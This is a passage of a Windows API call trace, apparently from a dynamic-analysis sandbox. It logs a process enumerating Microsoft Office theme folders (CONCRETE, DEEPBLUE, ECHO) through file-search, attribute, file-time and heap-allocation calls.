(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9148d8 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910e30 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915220 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910e50 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915328 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910e70 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915430 [0241.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.693] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910e90 [0241.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915538 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.694] GetLastError () returned 0x12 [0241.694] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.694] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.694] GetLastError () returned 0x12 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9147d0) returned 1 [0241.694] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9148d8) returned 1 [0241.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.694] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0241.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.774] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916a60 [0241.774] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916a60, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916a60, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916a60) returned 1 [0241.774] NtClose (Handle=0x1bc) returned 0x0 [0241.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9148d8 [0241.774] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.774] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.774] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9147d0 [0241.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910eb0 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915640 [0241.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.775] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.775] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.775] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.775] GetLastError () returned 0x12 [0241.775] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.775] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.775] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.775] GetLastError () returned 0x12 [0241.775] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.776] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0241.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.811] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916a60 [0241.811] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916a60, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916a60, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916a60) returned 1 [0241.811] NtClose (Handle=0x1b0) returned 0x0 [0241.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.811] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.811] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910f30 [0241.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9147d0 [0241.812] RtlFreeHeap 